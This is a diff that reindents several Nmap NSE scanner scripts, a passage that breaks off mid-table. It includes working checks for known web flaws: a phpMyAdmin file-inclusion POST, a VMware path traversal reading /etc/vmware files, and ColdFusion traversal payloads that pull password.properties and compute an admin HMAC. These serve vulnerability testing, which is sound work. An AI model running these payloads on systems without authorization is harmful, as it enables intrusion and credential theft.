-- retest http methods if requested - if retest_http_methods then - local _ - for _, method in ipairs(methods) do - local str - if method == "OPTIONS" then - -- Use the saved value. - str = options_status_line - else - response = http.generic_request(host, port, method, url_path) - if not response.status then - str = "Error getting response" - else - str = response["status-line"] - end - end - output[#output + 1] = string.format("%s %s -> %s", method, url_path, str) - end - end + -- retest http methods if requested + if retest_http_methods then + local _ + for _, method in ipairs(methods) do + local str + if method == "OPTIONS" then + -- Use the saved value. + str = options_status_line + else + response = http.generic_request(host, port, method, url_path) + if not response.status then + str = "Error getting response" + else + str = response["status-line"] + end + end + output[#output + 1] = string.format("%s %s -> %s", method, url_path, str) + end + end - return #output > 0 and stdnse.strjoin("\n", output) or nil + return #output > 0 and stdnse.strjoin("\n", output) or nil end function filter_out(t, filter) - local result = {} - local _, e, f - for _, e in ipairs(t) do - if not stdnse.contains(filter, e) then - result[#result + 1] = e - end - end - return result + local result = {} + local _, e, f + for _, e in ipairs(t) do + if not stdnse.contains(filter, e) then + result[#result + 1] = e + end + end + return result end -- Split header field contents on commas and return a table without duplicates. function merge_headers(headers, names) - local seen = {} - local result = {} + local seen = {} + local result = {} - for _, name in ipairs(names) do - name = string.lower(name) - if headers[name] then - for _, v in ipairs(stdnse.strsplit(",%s*", headers[name])) do - if not seen[v] then - result[#result + 1] = v - end - seen[v] = true - end - end - end + for _, name in ipairs(names) do + name = string.lower(name) + if headers[name] then + for _, v in ipairs(stdnse.strsplit(",%s*", headers[name])) do + if not seen[v] then + result[#result + 1] = v + end + seen[v] = true + end + end + end - return result + return result end diff --git a/scripts/http-open-redirect.nse b/scripts/http-open-redirect.nse index 0796427bd..10b9ffff8 100644 --- a/scripts/http-open-redirect.nse +++ b/scripts/http-open-redirect.nse @@ -44,94 +44,94 @@ categories = {"discovery", "intrusive"} portrule = shortport.http local function dbg(str,...) - stdnse.print_debug(2,"http-open-redirect:"..str, ...) + stdnse.print_debug(2,"http-open-redirect:"..str, ...) end local function dbgt(tbl) - for k,v in pairs(tbl) do - dbg(" %s = %s " , tostring(k), tostring(v)) - end + for k,v in pairs(tbl) do + dbg(" %s = %s " , tostring(k), tostring(v)) + end end local function getHostPort(parsed) - local host, port = parsed.host, parsed.port - -- if no port was found, try to deduce it from the scheme - if ( not(port) ) then - port = (parsed.scheme == 'https') and 443 - port = port or ((parsed.scheme == 'http') and 80) - end - return host, port + local host, port = parsed.host, parsed.port + -- if no port was found, try to deduce it from the scheme + if ( not(port) ) then + port = (parsed.scheme == 'https') and 443 + port = port or ((parsed.scheme == 'http') and 80) + end + return host, port end local function isRedirect(status) - return status >= 300 and status <=399 + return status >= 300 and status <=399 end -- This function checks if any query parameter was used as a forward destination -- @return false or a new query string to test local function checkLocationEcho(query, destination) - dbg("checkLocationEcho(%s, %s)", tostring(query), tostring(destination)) - local q = url.parse_query(query); - -- Check the values (and keys) and see if they are reflected in the location header - for k,v in pairs(q) do - local s,f = string.find(destination, v) - if s == 1 then - -- Build a new URL - q[k] = "http%3A%2f%2fscanme.nmap.org%2f"; - return url.build_query(q) - end - end - return false; + dbg("checkLocationEcho(%s, %s)", tostring(query), tostring(destination)) + local q = url.parse_query(query); + -- Check the values (and keys) and see if they are reflected in the location header + for k,v in pairs(q) do + local s,f = string.find(destination, v) + if s == 1 then + -- Build a new URL + q[k] = "http%3A%2f%2fscanme.nmap.org%2f"; + return url.build_query(q) + end + end + return false; end action = function(host, port) - local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME, redirect_ok = false } ) - crawler:set_timeout(10000) + local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME, redirect_ok = false } ) + crawler:set_timeout(10000) - local results = {} - while(true) do - local status, r = crawler:crawl() - -- if the crawler fails it can be due to a number of different reasons - -- most of them are "legitimate" and should not be reason to abort - if ( not(status) ) then - if ( r.err ) then - return stdnse.format_output(true, "ERROR: %s", r.reason) - else - break - end - end - local response = r.response - -- Was it a redirect? - if response and response.header and response.header.location and isRedirect(response.status) then - -- Were any parameters involved? - local parsed = url.parse(tostring(r.url)); + local results = {} + while(true) do + local status, r = crawler:crawl() + -- if the crawler fails it can be due to a number of different reasons + -- most of them are "legitimate" and should not be reason to abort + if ( not(status) ) then + if ( r.err ) then + return stdnse.format_output(true, "ERROR: %s", r.reason) + else + break + end + end + local response = r.response + -- Was it a redirect? + if response and response.header and response.header.location and isRedirect(response.status) then + -- Were any parameters involved? + local parsed = url.parse(tostring(r.url)); - -- We are only interested in links which have parameters - if parsed.query and #parsed.query > 0 then - -- Now we need to check if any of the parameters were echoed in the location-header - local destination = response.header.location - local newQuery = checkLocationEcho(parsed.query, destination) - --dbg("newQuery: %s" , tostring(newQuery)) - if newQuery then - local host, port = getHostPort(parsed); - local ppath = url.parse_path(parsed.path or "") - local url = url.build_path(ppath) - if parsed.params then url = url .. ";" .. parsed.params end - url = url .. "?" .. newQuery - dbg("Checking potential open redirect: %s:%s%s", host,port,url); - local testResponse = http.get(host, port, url); - --dbgt(testResponse) - if isRedirect(testResponse.status) and testResponse.header.location == "http://scanme.nmap.org/" then - table.insert(results, ("%s://%s:%s%s"):format(parsed.scheme, host, port,url)) - end - end - end - end + -- We are only interested in links which have parameters + if parsed.query and #parsed.query > 0 then + -- Now we need to check if any of the parameters were echoed in the location-header + local destination = response.header.location + local newQuery = checkLocationEcho(parsed.query, destination) + --dbg("newQuery: %s" , tostring(newQuery)) + if newQuery then + local host, port = getHostPort(parsed); + local ppath = url.parse_path(parsed.path or "") + local url = url.build_path(ppath) + if parsed.params then url = url .. ";" .. parsed.params end + url = url .. "?" .. newQuery + dbg("Checking potential open redirect: %s:%s%s", host,port,url); + local testResponse = http.get(host, port, url); + --dbgt(testResponse) + if isRedirect(testResponse.status) and testResponse.header.location == "http://scanme.nmap.org/" then + table.insert(results, ("%s://%s:%s%s"):format(parsed.scheme, host, port,url)) + end + end + end + end - end - if ( #results> 0 ) then - return stdnse.format_output(true, results) - end + end + if ( #results> 0 ) then + return stdnse.format_output(true, results) + end end diff --git a/scripts/http-php-version.nse b/scripts/http-php-version.nse index 880d3dd9a..b38607eac 100644 --- a/scripts/http-php-version.nse +++ b/scripts/http-php-version.nse @@ -48,100 +48,100 @@ local CREDITS_QUERY = "/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000" -- http://seclists.org/nmap-dev/2010/q4/518 local LOGO_HASHES = { - -- Bunny (Carmella) - ["37e194b799d4aaff10e39c4e3b2679a2"] = {"5.0.0 - 5.0.3"}, - -- Black Scottish Terrier (Scotch) - ["4b2c92409cf0bcf465d199e93a15ac3f"] = {"4.3.11", "4.4.0 - 4.4.9", "5.0.4 - 5.0.5", "5.1.0 - 5.1.2"}, - -- Colored - ["50caaf268b4f3d260d720a1a29c5fe21"] = {"5.1.3 - 5.1.6", "5.2.0 - 5.2.17"}, - -- PHP Code Guy With Breadsticks (Thies C. Arntzen) - ["85be3b4be7bfe839cbb3b4f2d30ff983"] = {"4.0.0 - 4.2.3"}, - -- Brown Dog In Grass (Nadia) - ["a57bd73e27be03a62dd6b3e1b537a72c"] = {"4.3.0 - 4.3.10"}, - -- Elephant - ["fb3bbd9ccc4b3d9e0b3be89c5ff98a14"] = {"5.3.0 - 5.3.18", "5.4.0 - 5.4.8"}, + -- Bunny (Carmella) + ["37e194b799d4aaff10e39c4e3b2679a2"] = {"5.0.0 - 5.0.3"}, + -- Black Scottish Terrier (Scotch) + ["4b2c92409cf0bcf465d199e93a15ac3f"] = {"4.3.11", "4.4.0 - 4.4.9", "5.0.4 - 5.0.5", "5.1.0 - 5.1.2"}, + -- Colored + ["50caaf268b4f3d260d720a1a29c5fe21"] = {"5.1.3 - 5.1.6", "5.2.0 - 5.2.17"}, + -- PHP Code Guy With Breadsticks (Thies C. Arntzen) + ["85be3b4be7bfe839cbb3b4f2d30ff983"] = {"4.0.0 - 4.2.3"}, + -- Brown Dog In Grass (Nadia) + ["a57bd73e27be03a62dd6b3e1b537a72c"] = {"4.3.0 - 4.3.10"}, + -- Elephant + ["fb3bbd9ccc4b3d9e0b3be89c5ff98a14"] = {"5.3.0 - 5.3.18", "5.4.0 - 5.4.8"}, } local CREDITS_HASHES = { - ["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"5.2.6"}, - ["1ffc970c5eae684bebc0e0133c4e1f01"] = {"5.2.8"}, - ["23f183b78eb4e3ba8b3df13f0a15e5de"] = {"5.3.9 - 5.3.18"}, - ["2e7f5372931a7f6f86786e95871ac947"] = {"5.3.6"}, - ["3422eded2fcceb3c89cabb5156b5d4e2"] = {"4.2.3"}, - ["3c31e4674f42a49108b5300f8e73be26"] = {"5.0.0 - 5.0.5"}, - ["50ac182f03fc56a719a41fc1786d937d"] = {"4.3.11", "4.4.0 - 4.4.4", "4.4.9", "5.0.5-2ubuntu1.1", "5.0.5-pl3-gentoo", "5.1.0 - 5.1.2"}, - ["54f426521bf61f2d95c8bfaa13857c51"] = {"5.1.4", "5.2.9 - 5.2.14"}, - ["5518a02af41478cfc492c930ace45ae5"] = {"5.1.0 - 5.1.1"}, - ["55bc081f2d460b8e6eb326a953c0e71e"] = {"4.4.1"}, - ["56f9383587ebcc94558e11ec08584f05"] = {"5.2.2"}, - ["692a87ca2c51523c17f597253653c777"] = {"4.4.6-0.dotdeb.2"}, - ["6a1c211f27330f1ab602c7c574f3a279"] = {"5.2.0"}, - ["6be3565cdd38e717e4eb96868d9be141"] = {"5.0.5"}, - ["6cb0a5ba2d88f9d6c5c9e144dd5941a6"] = {"5.1.2"}, - ["744aecef04f9ed1bc39ae773c40017d1"] = {"4.0.1pl2", "4.1.2", "4.2.2"}, - ["82fa2d6aa15f971f7dadefe4f2ac20e3"] = {"5.1.3 - 5.1.6"}, - ["85da0a620fabe694dab1d55cbf1e24c3"] = {"5.4.0 - 5.4.7"}, - ["8a4a61f60025b43f11a7c998f02b1902"] = {"4.3.4"}, - ["8fbf48d5a2a64065fc26db3e890b9871"] = {"4.3.10"}, - ["913ec921cf487109084a518f91e70859"] = {"4.3.2 - 4.3.3", "4.3.6", "4.3.8 - 4.3.10"}, - ["adb361b9255c1e5275e5bd6e2907c5fb"] = {"5.2.15 - 5.2.17"}, - ["a4c057b11fa0fba98c8e26cd7bb762a8"] = {"5.3.1 - 5.3.2"}, - ["b34501471d51cebafacdd45bf2cd545d"] = {"5.3.3"}, - ["bed7ceff09e9666d96fdf3518af78e0e"] = {"4.4.2 - 4.4.4"}, - ["c37c96e8728dc959c55219d47f2d543f"] = {"5.2.3 - 5.2.5"}, - ["d3894e19233d979db07d623f608b6ece"] = {"5.2.1"}, - ["db23b07a9b426d0d033565b878b1e384"] = {"5.3.0"}, - ["e3b18899d0ffdf8322ed18d7bce3c9a0"] = {"5.3.4 - 5.3.5"}, - ["e54dbf41d985bfbfa316dba207ad6bce"] = {"5.0.0"}, - ["ebf6d0333d67af5f80077438c45c8eaa"] = {"5.4.8"}, - ["f1f1f60ac0dcd700a1ad30aa81175d34"] = {"5.3.7 - 5.3.8"}, + ["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"5.2.6"}, + ["1ffc970c5eae684bebc0e0133c4e1f01"] = {"5.2.8"}, + ["23f183b78eb4e3ba8b3df13f0a15e5de"] = {"5.3.9 - 5.3.18"}, + ["2e7f5372931a7f6f86786e95871ac947"] = {"5.3.6"}, + ["3422eded2fcceb3c89cabb5156b5d4e2"] = {"4.2.3"}, + ["3c31e4674f42a49108b5300f8e73be26"] = {"5.0.0 - 5.0.5"}, + ["50ac182f03fc56a719a41fc1786d937d"] = {"4.3.11", "4.4.0 - 4.4.4", "4.4.9", "5.0.5-2ubuntu1.1", "5.0.5-pl3-gentoo", "5.1.0 - 5.1.2"}, + ["54f426521bf61f2d95c8bfaa13857c51"] = {"5.1.4", "5.2.9 - 5.2.14"}, + ["5518a02af41478cfc492c930ace45ae5"] = {"5.1.0 - 5.1.1"}, + ["55bc081f2d460b8e6eb326a953c0e71e"] = {"4.4.1"}, + ["56f9383587ebcc94558e11ec08584f05"] = {"5.2.2"}, + ["692a87ca2c51523c17f597253653c777"] = {"4.4.6-0.dotdeb.2"}, + ["6a1c211f27330f1ab602c7c574f3a279"] = {"5.2.0"}, + ["6be3565cdd38e717e4eb96868d9be141"] = {"5.0.5"}, + ["6cb0a5ba2d88f9d6c5c9e144dd5941a6"] = {"5.1.2"}, + ["744aecef04f9ed1bc39ae773c40017d1"] = {"4.0.1pl2", "4.1.2", "4.2.2"}, + ["82fa2d6aa15f971f7dadefe4f2ac20e3"] = {"5.1.3 - 5.1.6"}, + ["85da0a620fabe694dab1d55cbf1e24c3"] = {"5.4.0 - 5.4.7"}, + ["8a4a61f60025b43f11a7c998f02b1902"] = {"4.3.4"}, + ["8fbf48d5a2a64065fc26db3e890b9871"] = {"4.3.10"}, + ["913ec921cf487109084a518f91e70859"] = {"4.3.2 - 4.3.3", "4.3.6", "4.3.8 - 4.3.10"}, + ["adb361b9255c1e5275e5bd6e2907c5fb"] = {"5.2.15 - 5.2.17"}, + ["a4c057b11fa0fba98c8e26cd7bb762a8"] = {"5.3.1 - 5.3.2"}, + ["b34501471d51cebafacdd45bf2cd545d"] = {"5.3.3"}, + ["bed7ceff09e9666d96fdf3518af78e0e"] = {"4.4.2 - 4.4.4"}, + ["c37c96e8728dc959c55219d47f2d543f"] = {"5.2.3 - 5.2.5"}, + ["d3894e19233d979db07d623f608b6ece"] = {"5.2.1"}, + ["db23b07a9b426d0d033565b878b1e384"] = {"5.3.0"}, + ["e3b18899d0ffdf8322ed18d7bce3c9a0"] = {"5.3.4 - 5.3.5"}, + ["e54dbf41d985bfbfa316dba207ad6bce"] = {"5.0.0"}, + ["ebf6d0333d67af5f80077438c45c8eaa"] = {"5.4.8"}, + ["f1f1f60ac0dcd700a1ad30aa81175d34"] = {"5.3.7 - 5.3.8"}, } action = function(host, port) - local response - local logo_versions, credits_versions - local logo_hash, credits_hash - local header_name, header_value - local lines + local response + local logo_versions, credits_versions + local logo_hash, credits_hash + local header_name, header_value + local lines - -- 1st pass : the "special" PHP-logo test - response = http.get(host, port, LOGO_QUERY) - if response.body and response.status == 200 then - logo_hash = stdnse.tohex(openssl.md5(response.body)) - logo_versions = LOGO_HASHES[logo_hash] - end + -- 1st pass : the "special" PHP-logo test + response = http.get(host, port, LOGO_QUERY) + if response.body and response.status == 200 then + logo_hash = stdnse.tohex(openssl.md5(response.body)) + logo_versions = LOGO_HASHES[logo_hash] + end - -- 2nd pass : the PHP-credits test - response = http.get(host, port, CREDITS_QUERY) - if response.body and response.status == 200 then - credits_hash = stdnse.tohex(openssl.md5(response.body)) - credits_versions = CREDITS_HASHES[credits_hash] - end + -- 2nd pass : the PHP-credits test + response = http.get(host, port, CREDITS_QUERY) + if response.body and response.status == 200 then + credits_hash = stdnse.tohex(openssl.md5(response.body)) + credits_versions = CREDITS_HASHES[credits_hash] + end - for name, value in pairs(response.header) do - if string.match(value, "^PHP/") then - header_name = name - header_value = value - break - end - end + for name, value in pairs(response.header) do + if string.match(value, "^PHP/") then + header_name = name + header_value = value + break + end + end - lines = {} - if logo_versions then - lines[#lines + 1] = "Versions from logo query (less accurate): " .. stdnse.strjoin(", ", logo_versions) - elseif logo_hash and nmap.verbosity() >= 2 then - lines[#lines + 1] = "Logo query returned unknown hash " .. logo_hash - end - if credits_versions then - lines[#lines + 1] = "Versions from credits query (more accurate): " .. stdnse.strjoin(", ", credits_versions) - elseif credits_hash and nmap.verbosity() >= 2 then - lines[#lines + 1] = "Credits query returned unknown hash " .. credits_hash - end - if header_name and header_value then - lines[#lines + 1] = "Version from header " .. header_name .. ": " .. header_value - end + lines = {} + if logo_versions then + lines[#lines + 1] = "Versions from logo query (less accurate): " .. stdnse.strjoin(", ", logo_versions) + elseif logo_hash and nmap.verbosity() >= 2 then + lines[#lines + 1] = "Logo query returned unknown hash " .. logo_hash + end + if credits_versions then + lines[#lines + 1] = "Versions from credits query (more accurate): " .. stdnse.strjoin(", ", credits_versions) + elseif credits_hash and nmap.verbosity() >= 2 then + lines[#lines + 1] = "Credits query returned unknown hash " .. credits_hash + end + if header_name and header_value then + lines[#lines + 1] = "Version from header " .. header_name .. ": " .. header_value + end - if #lines > 0 then - return stdnse.strjoin("\n", lines) - end + if #lines > 0 then + return stdnse.strjoin("\n", lines) + end end diff --git a/scripts/http-phpmyadmin-dir-traversal.nse b/scripts/http-phpmyadmin-dir-traversal.nse index 9d7b98a63..17b48b210 100644 --- a/scripts/http-phpmyadmin-dir-traversal.nse +++ b/scripts/http-phpmyadmin-dir-traversal.nse @@ -94,49 +94,49 @@ local DEFAULT_DIR = "/phpMyAdmin-2.6.4-pl1/" local EXPLOIT_PATH = "libraries/grab_globals.lib.php" action = function(host, port) - local dir = stdnse.get_script_args("http-phpmyadmin-dir-traversal.dir") or DEFAULT_DIR - local evil_uri = dir..EXPLOIT_PATH - local rfile = stdnse.get_script_args("http-phpmyadmin-dir-traversal.file") or DEFAULT_FILE - local evil_postdata = EXPLOIT_QUERY:format(rfile) - local filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile") - stdnse.print_debug(1, "%s: HTTP POST %s%s", SCRIPT_NAME, stdnse.get_hostname(host), evil_uri) - stdnse.print_debug(1, "%s: POST DATA %s", SCRIPT_NAME, evil_postdata) + local dir = stdnse.get_script_args("http-phpmyadmin-dir-traversal.dir") or DEFAULT_DIR + local evil_uri = dir..EXPLOIT_PATH + local rfile = stdnse.get_script_args("http-phpmyadmin-dir-traversal.file") or DEFAULT_FILE + local evil_postdata = EXPLOIT_QUERY:format(rfile) + local filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile") + stdnse.print_debug(1, "%s: HTTP POST %s%s", SCRIPT_NAME, stdnse.get_hostname(host), evil_uri) + stdnse.print_debug(1, "%s: POST DATA %s", SCRIPT_NAME, evil_postdata) - local vuln = { - title = 'phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion', - IDS = {CVE = 'CVE-2005-3299'}, - state = vulns.STATE.NOT_VULN, - description = - [[PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array. - ]], - references = { - 'http://www.exploit-db.com/exploits/1244/', - }, - dates = { - disclosure = {year = '2005', month = '10', dat = '10'}, - }, - } - local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) + local vuln = { + title = 'phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion', + IDS = {CVE = 'CVE-2005-3299'}, + state = vulns.STATE.NOT_VULN, + description = + [[PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array. +]], + references = { + 'http://www.exploit-db.com/exploits/1244/', + }, + dates = { + disclosure = {year = '2005', month = '10', dat = '10'}, + }, + } + local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) - local response = http.post(host, port, evil_uri, - {header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata) - if response.body and response.status==200 then - stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body) - vuln.state = vulns.STATE.EXPLOIT - vuln.extra_info = rfile.." :\n"..response.body - if filewrite then - local status, err = write_file(filewrite, response.body) - if status then - vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite) - else - vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err) - end - end - elseif response.status==500 then - vuln.state = vulns.STATE.LIKELY_VULN - stdnse.print_debug(1, "%s:[Error] File not found:%s", SCRIPT_NAME, rfile) - stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body) - vuln.extra_info = string.format("%s not found.\n", rfile) - end - return vuln_report:make_output(vuln) + local response = http.post(host, port, evil_uri, + {header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata) + if response.body and response.status==200 then + stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body) + vuln.state = vulns.STATE.EXPLOIT + vuln.extra_info = rfile.." :\n"..response.body + if filewrite then + local status, err = write_file(filewrite, response.body) + if status then + vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite) + else + vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err) + end + end + elseif response.status==500 then + vuln.state = vulns.STATE.LIKELY_VULN + stdnse.print_debug(1, "%s:[Error] File not found:%s", SCRIPT_NAME, rfile) + stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body) + vuln.extra_info = string.format("%s not found.\n", rfile) + end + return vuln_report:make_output(vuln) end diff --git a/scripts/http-vmware-path-vuln.nse b/scripts/http-vmware-path-vuln.nse index 0ca742d39..f6e6ed1a4 100644 --- a/scripts/http-vmware-path-vuln.nse +++ b/scripts/http-vmware-path-vuln.nse @@ -35,45 +35,45 @@ categories = {"vuln", "safe"} portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"}) local function get_file(host, port, path) - local file + local file - -- Replace spaces in the path with %20 - path = string.gsub(path, " ", "%%20") + -- Replace spaces in the path with %20 + path = string.gsub(path, " ", "%%20") - -- Try both ../ and %2E%2E/ - file = "/sdk/../../../../../../" .. path + -- Try both ../ and %2E%2E/ + file = "/sdk/../../../../../../" .. path - local result = http.get( host, port, file) - if(result['status'] ~= 200 or result['content-length'] == 0) then - file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path - result = http.get( host, port, file) + local result = http.get( host, port, file) + if(result['status'] ~= 200 or result['content-length'] == 0) then + file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path + result = http.get( host, port, file) - if(result['status'] ~= 200 or result['content-length'] == 0) then - return false, "Couldn't download file: " .. path - end - end + if(result['status'] ~= 200 or result['content-length'] == 0) then + return false, "Couldn't download file: " .. path + end + end - return true, result.body, file + return true, result.body, file end local function fake_xml_parse(str, tag) - local result = {} - local index, tag_start, tag_end + local result = {} + local index, tag_start, tag_end - -- Lowercase the 'body' we're searching - local lc = string.lower(str) - -- Lowrcase the tag - tag = string.lower(tag) + -- Lowercase the 'body' we're searching + local lc = string.lower(str) + -- Lowrcase the tag + tag = string.lower(tag) - -- This loop does some ugly pattern-based xml parsing - index, tag_start = string.find(lc, "<" .. tag .. ">") - while index do - tag_end, index = string.find(lc, "", index) - table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase - index, tag_start = string.find(lc, "<" .. tag .. ">", index) - end + -- This loop does some ugly pattern-based xml parsing + index, tag_start = string.find(lc, "<" .. tag .. ">") + while index do + tag_end, index = string.find(lc, "", index) + table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase + index, tag_start = string.find(lc, "<" .. tag .. ">", index) + end - return result + return result end --local function parse_vmware_conf(str, field) @@ -91,51 +91,51 @@ end --end local function go(host, port) - local result, body - local files + local result, body + local files - -- Try to download the file - result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml"); - -- It failed -- probably not vulnerable - if(not(result)) then - return false, "Couldn't download file: " .. body - end + -- Try to download the file + result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml"); + -- It failed -- probably not vulnerable + if(not(result)) then + return false, "Couldn't download file: " .. body + end - -- Check if the file contains the proper XML - if(string.find(string.lower(body), "configroot") == nil) then - return false, "Server didn't return XML -- likely not vulnerable." - end + -- Check if the file contains the proper XML + if(string.find(string.lower(body), "configroot") == nil) then + return false, "Server didn't return XML -- likely not vulnerable." + end - files = fake_xml_parse(body, "vmxcfgpath") + files = fake_xml_parse(body, "vmxcfgpath") - if(#files == 0) then - return true, {"No VMs appear to be installed"} - end + if(#files == 0) then + return true, {"No VMs appear to be installed"} + end - -- Process each of the .vmx files if verbosity is on --- if(nmap.verbosity() > 1) then --- local result, file = get_file(host, port, files[1]) ---io.write(nsedebug.tostr(file)) --- end + -- Process each of the .vmx files if verbosity is on + --if(nmap.verbosity() > 1) then + -- local result, file = get_file(host, port, files[1]) + -- io.write(nsedebug.tostr(file)) + --end - return true, files + return true, files end action = function(host, port) - -- Try a standard ../ path - local status, result = go(host, port) + -- Try a standard ../ path + local status, result = go(host, port) - if(not(status)) then - return nil - end + if(not(status)) then + return nil + end - local response = {} - table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE") + local response = {} + table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE") - if(nmap.verbosity() > 1) then - table.insert(response, result) - end + if(nmap.verbosity() > 1) then + table.insert(response, result) + end - return stdnse.format_output(true, response) + return stdnse.format_output(true, response) end diff --git a/scripts/http-vuln-cve2010-2861.nse b/scripts/http-vuln-cve2010-2861.nse index 86db93934..4f001bd9d 100644 --- a/scripts/http-vuln-cve2010-2861.nse +++ b/scripts/http-vuln-cve2010-2861.nse @@ -60,80 +60,80 @@ portrule = shortport.http action = function(host, port) local vuln = { - title = 'Adobe ColdFusion Directory Traversal Vulnerability', - state = vulns.STATE.NOT_VULN, -- default - IDS = {CVE = 'CVE-2010-2861', OSVDB = '67047'}, - description = [[ + title = 'Adobe ColdFusion Directory Traversal Vulnerability', + state = vulns.STATE.NOT_VULN, -- default + IDS = {CVE = 'CVE-2010-2861', OSVDB = '67047'}, + description = [[ Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter]], - references = { - 'http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking', - 'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861', - 'http://osvdb.org/67047', - 'http://www.nessus.org/plugins/index.php?view=single&id=48340', - }, - dates = { - disclosure = {year = '2010', month = '08', day = '10'}, - }, - } - local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) + references = { + 'http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking', + 'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861', + 'http://osvdb.org/67047', + 'http://www.nessus.org/plugins/index.php?view=single&id=48340', + }, + dates = { + disclosure = {year = '2010', month = '08', day = '10'}, + }, + } + local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) - -- Function to do the look up and return content - local grabAndGrep = function(page) - -- Do the HTTP GET request for the page - local response = http.get(host, port, page) - -- Check to see if we get a good page returned - -- Is there no response? - if ( not(response.status) ) then - return false, "Received no response from HTTP server" - end + -- Function to do the look up and return content + local grabAndGrep = function(page) + -- Do the HTTP GET request for the page + local response = http.get(host, port, page) + -- Check to see if we get a good page returned + -- Is there no response? + if ( not(response.status) ) then + return false, "Received no response from HTTP server" + end - -- Is the response not an HTTP 200 code? - if ( response.status ~= 200 ) then - return false, ("The server returned an unexpected response (%d)"):format(response.status ) - end + -- Is the response not an HTTP 200 code? + if ( response.status ~= 200 ) then + return false, ("The server returned an unexpected response (%d)"):format(response.status ) + end - -- Now check the body for our strings - if ( response.body ) then - local saltcontent = response.body:match("salt.*value=\"(%d+)") - local hashcontent = response.body:match("password=(%x%x%x%x+)") --Extra %x's needed or it will match strings that are not the long hex password + -- Now check the body for our strings + if ( response.body ) then + local saltcontent = response.body:match("salt.*value=\"(%d+)") + local hashcontent = response.body:match("password=(%x%x%x%x+)") --Extra %x's needed or it will match strings that are not the long hex password - -- If a page has both the salt and the password in it then the exploit has been successful - if ( saltcontent and hashcontent ) then - vuln.state = vulns.STATE.EXPLOIT - -- Generate HMAC as this is what the web application needs for authentication as admin - local hmaccontent = stdnse.tohex(openssl.hmac('sha1', saltcontent, hashcontent)):upper() - --return true, ("\n\tHMAC: %s\n\tSalt: %s\n\tHash: %s"):format(hmaccontent, saltcontent, hashcontent) - local result = { - ("HMAC: %s"):format(hmaccontent), - ("Salt: %s"):format(saltcontent), - ("Hash: %s"):format(hashcontent) - } - return true, result - end - end - return false, "Not vulnerable" - end + -- If a page has both the salt and the password in it then the exploit has been successful + if ( saltcontent and hashcontent ) then + vuln.state = vulns.STATE.EXPLOIT + -- Generate HMAC as this is what the web application needs for authentication as admin + local hmaccontent = stdnse.tohex(openssl.hmac('sha1', saltcontent, hashcontent)):upper() + --return true, ("\n\tHMAC: %s\n\tSalt: %s\n\tHash: %s"):format(hmaccontent, saltcontent, hashcontent) + local result = { + ("HMAC: %s"):format(hmaccontent), + ("Salt: %s"):format(saltcontent), + ("Hash: %s"):format(hashcontent) + } + return true, result + end + end + return false, "Not vulnerable" + end - local exploits = { - ['CFusionMX'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX\\lib\\password.properties%00en', - ['CFusionMX7'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX7\\lib\\password.properties%00en', - ['ColdFusion8'] = '..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\password.properties%00en', - ['JRun4\\servers'] = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties%00en', - } + local exploits = { + ['CFusionMX'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX\\lib\\password.properties%00en', + ['CFusionMX7'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX7\\lib\\password.properties%00en', + ['ColdFusion8'] = '..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\password.properties%00en', + ['JRun4\\servers'] = 